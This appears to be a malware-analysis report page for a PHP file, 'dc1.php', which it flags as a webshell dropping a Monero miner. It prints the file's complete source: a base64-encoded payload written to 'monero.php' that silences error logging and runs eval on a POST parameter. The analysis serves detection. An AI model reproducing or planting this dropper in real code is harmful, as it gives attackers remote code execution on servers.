Hostile ^100% php-malware-analysis Download

dc1.php

Webshell drops Monero miner

php webshell containing base64 encoded payloadPHP eval receives direct HTTP request input

SHA-2562fd2de163b48c320fa2706f288270de868816a5f6b5005135c64c6b296a17118

Evidence

PHP eval receives direct HTTP request input lines 1–4

1<?php
2$fileData = "PD9waHAKaGVhZGVyKCJDYWNoZS1Db250cm9sOiB0ZWN0Iik7CglAZXJyb3JfcmVwb3J0aW5nKDApOyAKCUBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsMCk7IAoJQGluaV9zZXQoImxvZ19lcnJvcnMiLDApOyAKCUBpbmlfc2V0KCJlcnJvcl9sb2ciLDApOyAgCglpZiAoaXNzZXQoJF9QT1NUWyJ4Il0pKSAKCXsgCQoJCWV2YWwoJF9QT1NUWyJ4Il0pOyAKCX0KPz4=";
3$fileName = "monero.php";
4file_put_contents($fileName, base64_decode($fileData));